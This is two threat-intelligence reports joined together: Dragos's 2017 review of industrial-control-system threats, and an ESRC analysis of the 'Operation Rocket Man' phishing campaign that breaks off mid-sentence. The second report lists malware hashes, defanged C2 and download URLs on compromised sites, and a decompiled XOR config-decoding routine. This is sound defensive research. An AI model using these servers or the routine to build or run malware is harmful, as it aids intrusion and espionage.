. . . . . . . . . . . . . . . . . . . . . . . . . . 12 COVELLITE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 DYMALLOY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 CHRYSENE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 MAGNALLIUM . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 DRAGOS A YEAR IN THREATS 2017 2017 represents a defining year in ICS security: two major and unique ICS-disruptive attackers were revealed; five distinct activity groups targeting ICS networks were identified; and several large-scale IT infection events with ICS implications occurred. While this represents a significant increase in known ICS activity, Dragos assesses we are only scratching the surface of ICS-focused threats. 2017 may therefore represent a break-through moment, as opposed to a highwater mark with more activity to be expected in 2018 and beyond. While our visibility and efforts at hunting are increasing, we recognize that the adversaries continue to grow in number and sophistication. By identifying and focusing on adversary techniques especially those which will be required in any intrusion event ICS defenders can achieve an advantageous position with respect to identifying and monitoring future attacks. This report seeks to inform ICS defenders and asset owners on not just known attacks, but to provide an overview for how an adversary must and will operate in this environment moving forward. By adopting a threat-centric defensive approach, defenders can mitigate not just the adversaries currently known, but future malicious actors as well. Joe Slowik Adversary Hunter | Dragos, Inc. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 PERSPECTIVE | INDUSTRIAL CONTROL SYSTEM THREATS 2017 ICS THREAT REVIEW 2017 was a watershed year in industrial control systems (ICS) security largely due to the discovery of new capabilities and a significant increase in ICS threat activity groups. Cybersecurity risks to the safe and reliable operation of industrial control systems have never been greater. While numerous, incidental infections occur in industrial networks on a regular basis, ICS-specific or ICS-tailored malware is rarer. rior to 2017 only three families of ICS-specific malware were known: STUXNET, BLACKENERGY 2, and HAVEX. In 2017 the world learned of two new ICS-specific malware samples: TRISIS and CRASHOVERRIDE. Both of these samples led to industry firsts. CRASHOVERRIDE was the first malware to ever specifically target and disrupt electric grid operations and led to operational outages in Kiev, Ukraine in 2016 (although it was not definitively discovered until 2017). TRISIS is the first malware to ever specifically target and disrupt safety instrumented systems (SIS), and is the first malware to ever specifically target, or accept as a potential consequence, the loss of human life. The impact of these events cannot be understated. The number of adversaries targeting control systems and their investment in ICS-specific capabilities is only growing. There are now five current, active groups targeting ICS systems far more than our current biases with respect to the skill, dedication, and resources required for ICS operations would have us believe possible. These events and continued activity will only drive a hidden arms race for other state and non-state actors to mature equivalent weapons to affect industrial infrastructure and ensure parity against possible adversaries. We regrettably expect ICS operational losses and likely safety events to continue into 2018 and the foreseeable future. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 | 2017 ICS THREATS A SUMMARY 2017 featured multiple, concerning developments within the ICS security space. On a general level, wormable ransomware such as WannaCry and NotPetya provided notice to ICS owners and operators that industrial networks are far more connected to the IT environment than many realized. While significant and for some organizations costly, 2017 also featured some targeted events led by activity groups focused exclusively on the ICS environment. Previously, defenders perceived ICS threat actors as rare with significant technical limitations or hurdles to overcome. But 2017 demonstrated either because ICS is an increasingly enticing target, or because researchers and defenders are merely looking harder that these groups are more common than previously thought. Toward that end, Dragos identified five active, ICSfocused groups that displayed various levels of activity throughout 2017. While only one has demonstrated an apparent capability to impact ICS networks through ICS-specific malware directly, all have engaged in at least reconnaissance and intelligence gathering surrounding the ICS environment. Overall, the scope and extent of malicious activity either directly targeting or gathering information on ICS networks increased significantly throughout 2017. As a result of these events, Dragos has been able to analyze and develop strategies for defending and mitigating various types of attack against ICS assets. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 | NEW ICS-FOCUSED MALWARE 2017 witnessed a dramatic expansion in ICS security activity and awareness. During the year, Dragos identified and analyzed CRASHOVERRIDE, responsible for the Ukraine power outage event that occurred in December of 2016, and then discovered and analyzed TRISIS, the first ICS malware designed to target industrial safety systems in November. Considering that defenders knew of only three ICS-focused malware samples before 2017 STUXNET (pre-2010), BLACKENERGY2 (2012), and HAVEX (2013), the emergence and discovery of two more this year indicates that adversaries are focusing more effort and resources on ICS targeting, and those capabilities are expanding. | TRADITIONAL IT MALWARE CRIPPLING OPERATIONAL NETWORKS Early 2017 saw the release of the EternalBlue vulnerability (MS17-010) and the subsequent WannaCry ransomware worm. The infection of operational networks with this ransomware and operational disruption illustrated the symbiotic relationship between the two networks. While engineers and operations staff have long held the separation between business and operational environments as the ICS model, the border is increasingly permeable and therefore operational ICS networks are facing traditional business threats. Closely following the WannaCry ransomware adversaries launched NotPetya. What was unique is that this was a wiper masquerading as ransomware appearing to initially target Ukraine business and financial sectors. In addition to weaponizing the EternalBlue exploit, NotPetya leveraged credential capture and replay to provide multiple means of propagation, resulting in rapid spreading to organizations well-removed from Ukrainian business sectors. Perhaps the most sobering example is Maersk, which is estimated to have lost up to $300 million USD while also having to rebuild and replace most of its IT and operations network.1 To combat malware infection events such as the above examples, Dragos pursues commodity non- ICS-focused malware through the MIMICS project: Malware In Modern ICS Environments. By aggressively hunting for standard IT threats that can pose a specific danger to ICS environments, Dragos works to provide early warning and defensive guidance on potentially overlooked threats. | ADVERSARIES STAYING BUSY: ICS-FOCUSED ACTIVITY Dragos currently tracks five activity groups targeting ICS environments: either with an ICSspecific capability, such as CRASHOVERRIDE or with an intention to gather information and intelligence on ICS-related networks and organizations. These groups have remained relatively constant regarding overall activity throughout the year, and Dragos is confident that additional unknown events have occurred. https://www.itnews.com.au/news/maersk-had-to-reinstall-all-it-systems-after-notpetya-infection-481815 Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 | RECOMMENDATIONS An ICS intelligence-driven approach to threat intelligence is not universal. Indicators of compromise are not intelligence and will not save any organization. Organizations must understand and consume ICS-specific threat intelligence to monitor for adversary behaviors and tradecraft instead of simply detecting changes, anomalies, or after-the-fact indicators of compromise.2 DETECTION-IN-DEPTH ASSUME BREACH Just as defense-in-depth is a necessary component of modern cybersecurity, detection-in-depth must become a necessary component across all industrial control levels. Enhanced monitoring must especially Include any permeable barriers such as the IT-OT network gap. ICS networks are increasingly connected not only to the IT network but also directly to vendor networks and external communication sources leaving monitoring of the IT environments alone entirely inefficient. Disruptive ICS-specific malware is real, traditional IT threats now regularly cross the IT-OT divide, and ICS knowledgeable activity groups are targeting industrial infrastructure directly instead of just the IT networks of industrial companies. Gone are the days of protection via a segmented network detection is the first component of an assume- breach model you can only respond to what you can see. ICS-SPECIFIC INVESTIGATIONS RESILIENCE AGAINST CYBER ATTACK In the event of a breach or disruption there must be ICS-specific investigation capabilities and ICS-specific incident response plans. This is the only effective way of identifying root cause analysis and reducing mean time to recovery in the operations environments when facing industrial specific threats. Resiliency analysis and engineering surrounding industrial processes must include cyber-attacks. For example, safety systems must be designed and operated with the understanding that they may now be purposefully attacked and undermined. To understand ICS threat intelligence read the Dragos whitepaper Industrial Control Threat Intelligence https://dragos.com/media/Industrial-Control-Threat-Intelligence-Whitepaper.pdf Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 2017 ICS THREATS IN DETAIL Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 | CRASHOVERRIDE Although taking place in late December 2016, the ICS security community did not fully understand the extent and significance of the 2016 Ukrainian power outage until later in 2017. After identifying samples, Dragos determined that specifically-tailored malware caused the 2016 event by manipulating the breakers at the target substation in Ukraine. At the time, this represented only the second instance where malware was utilized to directly impact an ICS device or process with little human intervention the other example being the Stuxnet worm. In this case, the adversary developed a modular attack framework that combined a reasonably protocol-compliant manipulation program to create an ICS impact (opening breakers to generate a power outage), with malicious wiper functionality to impede and delay system recovery. Further investigation identified a distinct activity group behind the CRASHOVERRIDE event, as both a developer and attacker: ELECTRUM. As detailed below, ELECTRUM is assessed to be a highly sophisticated, well-resourced activity group that remains active. Defenders lack any knowledge of CRASHOVERRIDE itself or similar capabilities used after the December 2016 event. While CRASHOVERRIDE, as deployed in the Ukraine attack, is not capable of impacting environments dissimilar to the equipment and protocol setup at the target utility, the framework and method of operations deployed provide an example for other adversaries to follow. Examples of new tradecraft to emerge from CRASHOVERRIDE include: leveraging ICS protocols to create a malicious impact; creating modular malware frameworks designed to work with multiple protocols; and incorporating automatically-deployed wiper functionality chained to an ICS impact. Thus, even if CRASHOVERRIDE itself cannot be used again outside of very narrow circumstances, the tactics, techniques, and procedures (TTPs) employed by it can be adapted to new environments. By identifying these TTPs and building defenses around them, organizations can prepare themselves for the next CRASHOVERRIDE-like attack, rather than focusing exclusively on the specific events from December 2016 leaving the enterprise open and undefended against even minor variations in the attack. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 | TRISIS TRISIS is the third-recorded ICS attack executed via malware, the previous two being Stuxnet and CRASHOVERRIDE (see above). TRISIS is a specifically-targeted program designed to upload new ladder logic to Schneider Electric Triconex safety systems. The malware utilizes a speciallycrafted search and upload routine to enable overwriting ladder logic within memory based on a deep understanding of the Triconex product. Unique compared to past ICS events, TRISIS targeted safety instrumented systems (SIS), those devices used to ensure system remain in and fail to a safe state within the physical environment. By targeting SIS, an adversary can achieve multiple, potentially dangerous impacts, ranging from extensive physical system downtime to false safety alarms, physical damage, and destruction. Additionally, by targeting a SIS the adversary must either intend or willfully accept the loss of human life from the operation. Although extremely concerning both as an attack and as an extension of ICS operations to cover SIS devices, TRISIS represents a highly-targeted threat. Specifically, TRISIS is designed to target a specific variant of Triconex systems. Additionally, an adversary would need to achieve extensive access to and penetration of a target ICS network to be in a position to deliver a TRISIS-like attack. While TRISIS is profoundly concerning and represents a significant new risk for defenders to manage, TRISIS-like attacks require substantial investments in both capability development and network access before adversary success. While ICS defenders and asset owners should note the above regarding TRISIS immediate impact, in the longerterm TRISIS is likely to have a concerning effect on the ICS security space. Specifically, while TRISIS itself is not portable to any environment outside of the specific product targeted in the attack, the TRISIS tradecraft has created a blueprint for adversaries to follow concerning SIS attacks. This is not bound to any specific vendor and vendors such as ABB maturely and rightfully stated that similar styled attacks could equally impact their products. Furthermore, the very extension of ICS network attack to SIS devices sets a worrying precedent as these critical systems now become an item for adversary targeting. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 | DISRUPTIVE IT MALWARE IT malware infecting and causing issues in operational networks is not a new phenomenon. Tracking the metrics related to these infections has always been difficult due to collection issues from these environments. This led to very low metrics, such as the ICS- CERT s consistent ~200 incidents each year, to very high metrics including some vendors claiming upwards of 500,000 infections a year. For this reason, Dragos created the Malware in Modern ICS (MIMICS) project in late 2016 and running through early 2017.3 The research performed a census-styled metrics count of infections in ICS networks and identified around 3,000 unique industrial infections during the research period. This led to the estimate of around 6,000 unique infections in industrial environments every year including various types of viruses, trojans, and worms. While any of these infections could cause issues in operational environments none represented the type of disruption that would come from the latest generation of ransomware worms. WannaCry appeared in May 2017 following the weaponization of the MS17-010 vulnerability in the Microsoft Server Message Block (SMB) protocol (EterenalBlue), released as part of the Shadow Brokers continual leak of alleged National Security Agency hacking tools. WannaCry itself was a form of ransomware designed to self-propagate via the MS17-0104 vulnerability, resulting in not only a quick spread globally but also the systematic infection of networks due to the malware wormable nature. https://dragos.com/blog/mimics/ https://docs.microsoft.com/en-us/security- updates/securitybulletins/2017/ms17-010 Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 While ransomware is typically not a concern for ICS defenders, WannaCry challenged the traditional view due to its selfpropagating method exploiting a common ICS communication mechanism (SMB). Various data transfer functions, such as moving data from the ICS network (e.g., historians) to the business network for business intelligence purposes, rely upon SMB for functionality. Combined with poor patch management and enabling older, vulnerable forms of SMB instead of the newer SMB version 3 variant, hosts within the ICS network were not only reachable through pre-existing connections to the IT network but vulnerable as well. The result of the above circumstances was WannaCry spreading into and impacting ICS environments, including automotive manufacturers and shipping companies. The impact to operations from system loss due to encryption certainly varies, but in ICS environments the damage potential is significant regarding lost production and capability. Furthermore, WannaCry was not the only ransomware type to implement worm-like functionality, with additional malware NotPetya and BadRabbit emerging over the course of 2017. Of these, NotPetya was especially concerning for several reasons: first, it included multiple means of propagation through credential capture and reuse aside from relying solely on the MS17- 010 vulnerability; second, the malware was effectively a wiper as encrypted filesystems could not be recovered. Although initially targeting Ukrainian enterprises, NotPetya soon spread to many organizations resulting in significant system impacts and, in several documented cases, production losses in ICS environments. Although not targeted at ICS environments, the impact of WannaCry and related malware demonstrates the capability for IT-focused malware to migrate into ICS environments. While patching may not be a viable solution for ICS defenders in cases such as MS17-010, strengthening and hardening defenses at porous boundaries could help. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 ACTIVITY GROUPS Dragos tracks and organizes related threat activity as activity groups : essentially, combinations of behavior or techniques, infrastructure, and victimology.5 This process avoids the potentially messy and hard-to- prove traditional attribution route aligning activity to specific actors or nation-states while also providing concrete benefits to defenders by organizing observed attackers into collections of identified actions. Within the scope of ICS network defense, Dragos currently tracks five activity groups that have either demonstrated the capability to attack ICS networks directly or have displayed an interest in reconnaissance and gaining initial access into ICS-specific entities. The concept of activity groups comes from The Diamond Model of Intrusion Analysis: http://www.diamondmodel.org/ Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 ELECTRUM LECTRUM is responsible for the 2016 Ukrainian power outage event, created through CRASHOVERRIDE. In addition to this signature, high-profile event, Dragos has linked ELECTRUM with another group, the SANDWORM Advanced Persistent Threat (APT) (iSight), responsible for the 2015 Ukrainian outage. ELECTRUM previously served as the development group facilitating some SANDWORM activity including possibly the 2015 Ukrainian power outage but moved into a development and operational role in the CRASHOVERRIDE event. While ELECTRUM does not have any other high-profile events to its name as of this writing, Dragos has continued to track on- going, low-level activity associated with the group. Most notably, 2017 did not witness another Ukrainian power grid event, unlike the previous two years. Based on available information, ELECTRUM remains active, but evidence indicates the group may have moved on from its previous focus exclusively on Ukraine. While past ELECTRUM activity has focused exclusively on Ukraine, ongoing activity and the group s link to SANDWORM provide sufficient evidence for Dragos to assess that ELECTRUM could be re-tasked to other areas depending on the focus of their sponsor. Given ELECTRUM s past activity and ability to successfully operate within the ICS environment, Dragos considers them to be one of the most significant and capable threat actors within the ICS space. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 COVELLITE OVELLITE First emerged in September 2017, when Dragos identified a small, but highly targeted, phishing campaign against a US electric grid company. The phishing document and subsequent malware embedded within a malicious Microsoft Word document both featured numerous techniques to evade analysis and detection. Although the attack identified is particular to the one targeted entity, Dragos soon uncovered attacks with varying degrees of similarity spanning Europe, North America, and East Asia. Common to all of these observed COVELLITE-related instances was the use of similar malware functionality, including the use of HTTPS for command and control (C2), and the use of compromised infrastructure as C2 nodes. As Dragos continued tracking this group, we identified similarities in both infrastructure and malware with the LAZARUS GROUP APT6 (Novetta), also referred to as ZINC (Microsoft), and HIDDEN COBRA (DHS). This activity group has variously been associated with destructive attacks against Sony Pictures7 and to bitcoin theft incidents in 2017.8 While Dragos does not comment on or perform traditional nation-state attribution, the combination of technical ability plus the willingness to launch destructive attacks displayed by the linked group LAZARUS make COVELLITE an actor of significant interest. Dragos has yet to identify another grid- specific targeting event since September 2017 although similar malware and related activity continue. Finally, noted capabilities thus far would only suffice for initial network access and reconnaissance of a target network COVELLITE has not used or shown evidence of an ICS-specific capability. https://www.novetta.com/tag/the-lazarus-group/ http://www.novetta.com/2016/02/operation-blockbuster-unraveling-the-long-thread-of-the-sony-attack/ https://www.recordedfuture.com/north- korea-cryptocurrency-campaign/ Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 DYMALLOY Dragos began tracking the activity group we refer to as DYMALLOY in response to Symantec Dragonfly 2.0 report. Importantly, Dragos found a significant reason to doubt an association to the legacy Dragonfly ICS actor with the newly-identified activity. Dragonfly was originally active from 2011 to 2014 and utilized a combination of phishing, strategic website compromise, and creating malicious variants of legitimate software to infiltrate ICS targets. Once access was gained, Dragonfly s HAVEX9 malware leveraged OPC communications to perform survey and reconnaissance activities within the affected networks. Although no known destructive attacks emerged from these events, Dragonfly proved itself to be a capable, knowledgeable entity able to penetrate and operate within ICS networks. YMALLOY is only superficially similar to Dragonfly, in that the group utilized phishing and strategic website compromises for initial access. However, even at this stage, DYMALLOY employed credential harvesting techniques by triggering a remote authentication attempt to attackercontrolled infrastructure, significantly different from the exploits deployed by Dragonfly. All subsequent activity shows dramatic changes in TTPs between the groups, such as differences between the content and targeting of the phishing messages, and the outbound SMB connections. The Impact of Dragonfly Malware on Industrial Control Systems SANS Institute Whitepaper Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 Although DYMALLOY does not appear to be linked with Dragonfly, or at least not directly, the group remains a threat to ICS owners. Starting in late 2015 and proceeding through early 2017, DYMALLOY was able to successfully compromise multiple ICS targets in Turkey, Europe, and North America. Dragos has also learned that, while the group does not appear to have a capability equivalent to Dragonfly s HAVEX malware, the group was able to penetrate the ICS network of several organizations, gain access to HMI devices, and exfiltrate screenshots. While less technically sophisticated than HAVEX, such activity shows clear ICS intent and knowledge of what information could be valuable to an attacker either to steal information on process functionality in the target environment or to gather information for subsequent operations. Since Symantec s public reporting, followed by additional US-CERT notifications several weeks later, Dragos has not identified any additional DYMALLOY activity. While analysts found some traces of DYMALLOY-related malware in mid-2017, no artifacts or evidence suggesting DYMALLOY operations appear since early 2017. Given the publicity, Dragos assesses with medium confidence that DYMALLOY has reduced operations or significantly modified them in response to security researcher and media attention. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 CHRYSENE HRYSENE is an evolution of on-going activity which initially focused on targets in the Persian or Arabian Gulf. CHRYSENE emerged as an off-shoot to espionage operations as well as potential preparation actions before destructive attacks such as SHAMOON10 that focused mostly on the Gulf area generally, and Saudi Arabia specifically. CHRYSENE differs from past activity in that it utilizes a unique variation of a malware framework employed by other groups such as Greenbug (Symantec) and OilRig (Palo Alto Networks), with a very particular C2 technique reliant upon IPv6 DNS and the use of 64-bit malware. Where CHRYSENE mostly differentiates itself is in targeting: all observed CHRYSENE activity focuses on Western Europe, North America, Iraq, and Israel. CHRYSENE targets oil and gas and electric generation industries primarily within these regions. This activity first emerged in mid-2017 and has continued at a steady state since. While CHRYSENE s malware features notable enhancements over related threat groups using similar tools, Dragos has not yet observed an ICS-specific capability employed by this activity group. Instead, all activity thus far appears to focus on IT penetration and espionage, with all targets being ICS-related organizations. Although CHRYSENE conducts no known ICS disruption, the continued activity and expansion in targeting make this group a concern that Dragos continues to track. http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm-disquiets-us.html Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 MAGNALLIUM RAGOS began tracking MAGNALLIUM in response to public reporting by another security company on a group identified as APT33 (FireEye). The press initially treated MAGNALLIUM as a significant threat to ICS and critical infrastructure. A subsequent investigation by Dragos indicated that all of this group s activity focused on Saudi Arabia, specifically governmentrun or -owned enterprises in petrochemicals and the aerospace industry. While the group targets organizations which contain ICS, the lack of an ICSspecific capability combined with the group s very narrow targeting profile make this less of a concern. We continue to monitor MAGNALLIUM to determine if targeting changes, or if this group s actions splinter resulting in new, out of area operations, as observed with CHRYSENE. Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 DRAGOS, INC. www.dragos.com 1745 DORSEY ROAD HANOVER, MD 21076 USA EMAIL: INFO@DRAGOS.COM Security Response Center (ESRC) Threat Intelligence Report OPERATION Rocket Man 2018. 08 ESRC-1808-TLP-White-IR002 Security Response Center INDEX RocketMan Report - The latest APT campaign of Geumseong121 Group 'Operation Rocket Man' - Detailed Analysis Correlation Analysis - Similar Threat Case - Deep Analysis on Correlation - Time Series Analysis of Geumseong121 Group Conclusion - Persistent Threat Security Response Center RocketMan Report - The latest APT campaign of Geumseong121 Group 'Operation Rocket Man' - Detailed Analysis Security Response Center Special Report RocketMan Report 1. The latest APT campaign of Geumseong121 Group 'Operation Rocket Man' ESTsecurity Security Response Center (ESRC) is a specialized organization of ESTsecurity Cyber Threat Intelligence (CTI). On March 20, ESRC released the report on a state-sponsored APT threat group Geumseong121, who had conducted infiltration cyber-attacks on major North Korean organizations and defense sectors, recently carried out the Androidbased mobile Spear Phishing attacks. [Figure 1] Attack Vector of Geumseong121 group The unknown attackers spread the CVE-2018-4878 Zero-Day vulnerability via KakaoTalk messenger and attempted the targeted attacks several times exploiting the malicious HWP document. In the mobile spear phishing (APK) discovered in March, malicious APK apps with the word "Secret" instead of "Illegal" were distributed. Security Response Center The Geumseong121 group is the suspected state-sponsored cyber military, who attacked Android mobile users by disguising as a mobile vaccine app developed by the leading portal company in Korea. ESRC has posted the analysis on the malicious app (Trojan.Android.Fakeav) in detail. [Figure 2] Tricking users to install APK disguised as the mobile security app The additional threats related the issue has been posted on the Cisco Talos, Paloalto Unit 42 security blog in detail. Security Response Center 2. Malware Analysis 2.1. File Information File Name 111.hwp File Format Content Created 2018. 08. 10 File version Last Updated 2018. 08. 10 EDC1BDB2D70E36891826FDD58682B6C4 SHA-256 File Size 18,432 byte 2CAF1E26A67760268648B0EC8EA66BE9D2E28BAC1B2A48E1E6F6E9A06BEB042C Ant_3.5.exe File Format Content Created 2018. 08. 10 File version Last Updated 2018. 08. 10 B710E5A4CA00A52F6297A3CC7190393A SHA-256 PE EXE File Size 12,214,272 File Name byte 32E98F39BCDE86885C527DDCF68FAD67D0A7E6C23877672EBFD4C2A6A3F545E5 worldnews.doc File Format Content Created 2018. 08. 14 File version Last Updated 2018. 08. 14 1213E5A0BE1FBD9A7103AB08FE8EA5CB SHA-256 File Name PE EXE File Size 368,128 File Name byte dc827f7a1e5ee4600697d7d3efdeb8401b7a9af3d704d0462e7d3e0804a9069d \xed\x86\xb5\xec\xa7 \x80.hwp File Format File Size 173,056 byte Content Created 2017. 10. 10 File version Last Updated 2017. 10. 10 AF6721145079A05DA53C8D0F3656C65C SHA-256 8bb3d97a37a6c7612624a12f8ff60eb8dd130f9e8f9af4f4f2cf8fca4f1dd964 File Name desktops.ini File Format Content Created File version Last Updated 05EEF00DE73498167B2D7EBDC492C429 SHA-256 Security Response Center File Size 204 byte 4380769cdef6ed56c1290acfc98a26e029e887a3b4ebfc417bfd80408b4d9e90 2.2. Detailed Analysis ESRC has been investigating the cyber campaigns for several years, and found that the group has been conducting the cyber campaigns on and off Korea since 2013. The major threat vectors exploited by the group are Watering Hole, Spear Phishing, Social Network Phishing, Torrent Phishing attacks and so on. Meanwhile, the latest spear phishing targeting a specific Korean was discovered in August of 2018 and interesting facts are found while analyzing the attack. In addition, the attacker is disguised as a corporate HR representative in Korea for the attack. The following IoCs are identified in the attack. ESRC has promptly shared the information with Korea Internet & Security Agency (KISA), in order to prevent the distribution of the malware. - http://m.ssbw.co.kr/admin/form_doc/image/down/down[.]php (MD5 : af6721145079a05da53c8d0f3656c65c) - http://m.ssbw.co.kr/admin/form_doc/image/down/worldnews[.]doc (MD5 :1213e5a0be1fbd9a7103ab08fe8ea5cb) - http://m.ssbw.co.kr/admin/form_doc/image/img/111[.]hwp (MD5 : edc1bdb2d70e36891826fdd58682b6c4) - http://m.ssbw.co.kr/admin/form_doc/image/img/Ant_3.5[.]exe (MD5 : b710e5a4ca00a52f6297a3cc7190393a) - http://m.ssbw.co.kr/admin/form_doc/image/img/desktops[.]ini (MD5 : 05eef00de73498167b2d7ebdc492c429) The spear phishing strategy used by Geumseong121 contains the distinctive features. Instead of attaching a Lure or Decoy file, it adds the infected Korean website address and disguises as the attached file image. The sophisticated Hangul was observed in the attack, but some geographic expressions of the language were subtlety vague. The approach is utilized to analyze local characteristics based on the linguistic abilities of the attacker, and the professional analysts who are good at using the language can access to more in-depth data through. In addition, the metadata used in the attack is utilized as a key clue to the Correlations between traces of the past and the infringements. The malware disguised as the icon that seems the Korean security program is used in the newly discovered campaign in August. The tactic is similar to the one of the attack discovered in March, but this time it is disguised as security program for PC, not mobile. Security Response Center [Figure 3] Flow of Attack disguised as a security program The malware disguised as a security program depending on the attack vector installs additional files through the multiple steps. It executes optional commands for each .Net version. The build data called 'Ant.pdb' is observed in malicious file distributed on the .Net basis. In particular, an attacker is constantly creating a series of malicious file variants in a project folder called 'Rocket'. - E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb - E:\project\windows\Rocket\Ant_3.5\Ant\obj\Release\Ant.pdb Security Response Center [Figure 3-1] PDB path created in Rocket path We categorized the cyber campaigns using the main keywords and named it 'Operation Rocket Man'. ESRC found many False Flags to confuse Threat Intelligence (TI) while analyzing the code used in the attack. The attacker used the word 'Haizi' in English, which means a child in Chinese expression. The expression was identically used in the .Net based programs installed later. There is a word 'PAPA' in the .Net based malware. However, 'BABA' is used as an English expression of Chinese , which means father. The evidence revealed that the attacker's native language may not be Chinese. Security Response Center [Figure 4] English expression of Chinese in the malware The installed malware will download the encrypted ini configuration file and decrypt it. The configuration file is named 'desktops.ini' and receives the commands from the same C2 server exploiting the vulnerability attack. public void SetPubnub(string[] strArr) if (strArr.Length != 7) return; for (int i = 0; i < strArr.Length; i++) strArr[i] = this.calcXor(strArr[i], 23); this.m_strChannelNameTmp = strArr[1]; The configuration file encrypted according to the command is decrypted with the key value of XOR 0x17. When the Security Response Center decryption is completed, command communication (C2) communication is proceeded via PubNub channel, which is one of the Infrastructure as a Service. The attacker uses the 'LiuJin' account here as well, which is one of evidence to show the attack is originated from China. There are many English expressions of 'LiuJin', it can be written as (LiuJin) in Chinese, or used for the name of Chinese actor and the online game. The traces related to China are intentionally left behind in the code. ESRC believes there is a high possibility of Disturbance Strategy exposing the linguistic and geographic codes to confuse Threat Intelligence (TI). Security Response Center [Figure 5] IaaS-based PubNub command control (C2) server Security Response Center As such, an attacker uses a legitimate IaaS service for communication, so that it is quite difficult to detect the malicious traffic. Security Response Center Correlation Analysis - Similar Threat Case - Deep Analysis on Correlation - Time Series Analysis of Geumseong121 Group Security Response Center Special Report Correlation Analysis Similar Threat Case The spear phishing using the same technique has been identified in September 2017. The HWP vulnerability was also used for the attack, and the metadata is identical to the IOC of the attack on August 2018. The attacker s account name and the OLE code are disguised as references and reply to the original message. [Figure 6] E-mail used in the attack The file name 'icloud.exe' is used for the malicious program and the following PDB (Program Data Base) code is inside. - E:\))PROG\doc_exe\Release\down_doc.pdb The PDB series is diverse depending on the variant malicious files, and it is also related to the 2013 versions using the AOL messenger (AIM). AOL Messenger was used for communicating in the early days before the infected Korean websites were used as a Security Response Center communication method. After that, it has evolved to use the Streamnation.com for Command and Control. The emails from Korea, USA, China, India and Russia can be used for subscribing the account for C2 Communication. The cloud services such as pcloud.com, yandex.com and Dropbox have been used before and a real-time networking platform PubNub service is currently used. The PubNub is infrastructure-as-a-service (IaaS) to provide the service to interconnect IoT cloud devices as one system. - K:\))pick\ie\test.pdb - D:\))pick\doc_exe\Release\down_doc.pdb - E:\))PROG\doc_exe\Release\down_doc.pdb - E:\))PROG\doc_exe\Release\drun.pdb - E:\))PROG\ie\Release\drun.pdb - E:\))PROG\Upload\Upload\thunder - E:\))PROG\waoki\Release\runner.pdb - E:\))PROG\waoki\Release\kltest.pdb [Figure 7] The analysis of PDB code in the malicious program The command control (C2) server of the attack is the 'endlesspaws.com' domain, which has been previously used for similar attacks several times. In terms of Threat Intelligence (TI), the identified server is useful to investigate similar threats carried out by the same attackers. Security Response Center ESRC also confirmed that the domain has connections to Watering Hole attack related to North Korea , which is discovered in South Korea in 2015, and gained the evidence that it is exploited in the spear phishing attack with attached executable file in 2017. The attack exploiting the CVE-2017-8759 vulnerability has been detected as well. Some of them have been posted on the blog by Chinese security company Tencent. Deep Analysis on Correlation A number of similar threat appeared in February of 2017. The domain endlesspaws.com was leveraged to distribute the malware by luring the users with the safety guideline for strengthening the protection of North Korean defectors. [Figure 8] Distributing the malware by disguising as the safety guideline Security Response Center It looks like it attaches a 'safety tips .zip' file to an email, but it actually is linked to the 'endlesspaws.com' domain to install a compressed file, and it contains malicious EXE executable files with a double extension disguised as an HWP document. It masquerades as a double extension, and the icon is disguised as a normal HWP file by utilizing the document file resource. The malicious file loads the code that is configured of the cryptographic function routines inside, and decodes certain hexadecimal codes into a logical XOR 0x55 key value. EXE executable malicious files will attempt to connect to the following addresses, same as the C2 domain used to distribute ZIP compressed files: - http://endlesspaws.com/vog/tan[.]php?fuck=x - http://endlesspaws.com/vog/denk[.]zip Security Response Center [Figure 9] Code for converting the encrypted C2 data The additionally downloaded 'denk.zip' file, which appears to be a seemingly zip compressed file, is actually a HWP format document file. The malware distributed in EXE format contains the normal HWP document inside. It shows users the normal document in the process of infecting the device or it can download the normal HWP document from the C2 server. However, this case is different from the common type of the malware. It downloads and install additional malicious HWP documents. This is an unusual case of installing the additional document-based malicious files on the already infected system. As the document file contains content that matches the email content used in the attack, it is not likely that the file is improperly linked due to confusion with other cyber operations. Security Response Center The malicious script code is injected in the DefaultJScript area in the 'denk.zip' file. The malicious DLL file encoded in BASE64 code in the embedded format will be decoded when the script runs. [Figure 10] The malicious script code included in the document file The malicious DLL file that is decoded by BASE64 code contains the following PDB path, and connect to the six Korean command control (C2) servers. The code 'srvrlyscss', which has been detected in many IOCs in Korea, is used for communication. Security Response Center [Figure 11] Code with 'srvrlyscss' string for communication - seline.co.kr/datafiles/CNOOC[.]php - www.causwc.or.kr/board_community01/board_community01/index2[.]php - www.kumdo.org/admin/noti/files/iindex[.]php - www.icare.or.kr/upload/board/index1[.]php - cnjob.co.kr/data/blog/iindex[.]php - notac.co.kr/admin/case/iindex[.]php The string 'taihaole9366' was used as the mutex code to prevent Duplicate Execution. 'Taihaole' matches the English expresion of Chinese ( ) and the meaning is 'very good'. The attacker has used the English expression of Chinese very often from the past, and there are a lot of other expressions. Security Response Center [Figure 12] Encoded C2 and Mutex in English expression of Chinese The malware disguised as a popular Chinese security program has been identified in January of 2018. It is a different case from the one disguising as an existing Korean security program. The attacker added a fake screen to the Korean website 'ebsmpi.com' as if it were a 360 TOTAL SECURITY security program web page in China. It copied the source code of the website operated in China and replaced the downloaded file with the malicious files. The linked addresses are as follows, and when clicking the 'Free Download' link, the file 